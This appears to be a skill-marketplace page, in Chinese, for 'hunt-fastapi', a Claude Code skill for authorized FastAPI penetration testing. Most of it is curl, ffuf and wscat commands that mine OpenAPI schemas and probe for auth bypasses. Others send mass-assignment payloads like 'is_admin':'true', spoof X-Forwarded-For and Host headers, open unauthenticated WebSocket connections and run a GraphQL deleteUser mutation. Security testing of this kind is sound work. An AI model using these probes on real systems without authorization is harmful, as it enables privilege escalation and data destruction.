mcpField
H
hunt-fastapi

hunt-fastapi

github.com/uphiago安全1.3k39 次安装8 周前更新
代码仓库

关于 hunt-fastapi

hunt-fastapi 是用于评估 FastAPI 应用安全性的测试技能,面向获授权的渗透测试人员和安全审查者。重点检查依赖注入授权、Pydantic 校验、OpenAPI 路由发现、中间件及 WebSocket 等框架特有风险。

主要功能

  1. 01识别 FastAPI 端点
  2. 02从 OpenAPI 架构发现路由
  3. 03测试依赖注入授权
  4. 04检查 Pydantic 类型强制与额外字段
  5. 05评估 ASGI 中间件和代理信任
  6. 06比较 WebSocket 与 REST 身份验证

适用场景

  1. 01开展获授权的 FastAPI 渗透测试
  2. 02从公开的 OpenAPI 架构查找未记录路由
  3. 03检查 REST 与 WebSocket 端点的授权差异

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-fastapi

安装后在 Claude Code 中输入/hunt-fastapi确认已加载。

详细介绍

FastAPI 安全漏洞排查

排查 FastAPI 特有的漏洞:依赖注入授权缺口、Pydantic 模型强制类型转换与额外字段利用、通过 OpenAPI schema 挖掘隐藏端点,以及 ASGI 中间件绕过。FastAPI 的设计——使用依赖注入进行身份验证、使用 Pydantic 进行校验、自动生成 OpenAPI——形成了不同于 Flask 或 Django 的独特攻击面。

适用场景

  • 目标使用 FastAPI(可通过 /docs、/redoc、/openapi.json 或 server: uvicorn 判断)。
  • OpenAPI schema 可公开访问。
  • API 使用依赖注入(Depends)进行授权。
  • REST API 之外还存在 WebSocket 端点。
  • 应用使用 Pydantic v1 或 v2 校验请求。

快速检测

# FastAPI fingerprinting
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null

操作步骤

阶段 1 — OpenAPI Schema 挖掘
# Download full schema for endpoint discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | keys[]'

# Find hidden endpoints not in docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | to_entries[] | select(.value.get != null and .value.get.security == []) | .key'

# Discover internal endpoints via path parameter fuzzing
ffuf -u "https://target.com/api/FUZZ" \
  -w /path/to/wordlist.txt \
  -mc 200,401,403 \
  -H "Accept: application/json"
阶段 2 — 依赖注入授权缺口
# Depends vs Security — check if auth is actually enforced
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users"     # no auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
  -H "Authorization: Bearer INVALID_TOKEN"         # invalid auth

# Dependency override in path operations
# Some endpoints may inherit Depends from router but override with None
for method in GET POST PUT PATCH DELETE; do
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/users/1" \
    -w "$method — %{http_code}\n" -o /dev/null
done

# Background tasks added via BackgroundTasks may skip auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/orders" \
  -H "Content-Type: application/json" \
  -d '{"user_id":"VICTIM_ID","product":"test"}'
阶段 3 — Pydantic 模型利用
# Type coercion — string "true" coerced to boolean
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","is_admin":"true"}'  # string coerced to bool

# Extra fields — Pydantic v1 ignores extra, v2 raises error by default
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","role":"admin"}'  # extra field may be passed to DB

# Content-type switching
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'username=test&role=admin&is_superuser=true'
阶段 4 — ASGI 中间件与代理信任
# ProxyHeaders trust — if behind a proxy, spoof client IP
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/me" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1"

# TrustedHostMiddleware bypass
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/health" \
  -H "Host: evil.com"

# CORS middleware — test preflight bypass
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com/api/users" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: DELETE"
阶段 5 — WebSocket 身份验证一致性
# FastAPI WebSocket endpoints — auth may differ from REST
# Connect without token
wscat -c "wss://target.com/ws/notifications"

# Connect with minimal scope
wscat -c "wss://target.com/ws/admin" -H "Authorization: Bearer USER_TOKEN"

# Mounted sub-app WebSockets may skip middleware
wscat -c "wss://target.com/subapp/ws"
阶段 6 — GraphQL 挂载授权缺口
# GraphQL mounted via starlette-graphene or strawberry-graphql
# May not enforce Depends at GraphQL resolver level
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'

# Mutations may work without auth even when queries require it
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { deleteUser(id: 1) { success } }"}'

注意事项

  • Pydantic v2 的 model_config 配置 extra='ignore' 时会静默丢弃未知字段。 测试 Pydantic v1 和 v2 的行为。
  • OpenAPI schema 可能受到限制。 如果 /openapi.json 返回 403,尝试访问 /docs 和 /redoc,它们提供相同的数据。
  • FastAPI 的 Security 与 Depends 并不相同。 Security 会与 OpenAPI 安全方案集成,但两者都可能配置错误。
  • 必须启用 Uvicorn 的 --proxy-headers,IP 欺骗才会生效。 使用 X-Forwarded-For 检查:如果服务器看到的仍是你的真实 IP,说明代理标头已禁用。

验证

  1. OpenAPI schema 揭示了公开 API 文档中未记录的端点。
  2. 某个使用 Depends(get_current_user) 的端点在没有任何 Authorization 标头的情况下仍接受请求。
  3. Pydantic 类型强制转换接受布尔值或整数类型字段的字符串值,并将其持久化。
  4. WebSocket 端点在没有会话身份验证的情况下接受连接,而对应的 REST 端点则要求身份验证。

相关技能

  • hunt-api-misconfig — 更广泛的 API 配置问题,包括 Swagger/OpenAPI 暴露。
  • hunt-idor — FastAPI 路径参数中的对象级授权缺口。
  • web-enumeration — 通过 OpenAPI schema 挖掘来发现目录和端点。

评论

支持 Markdown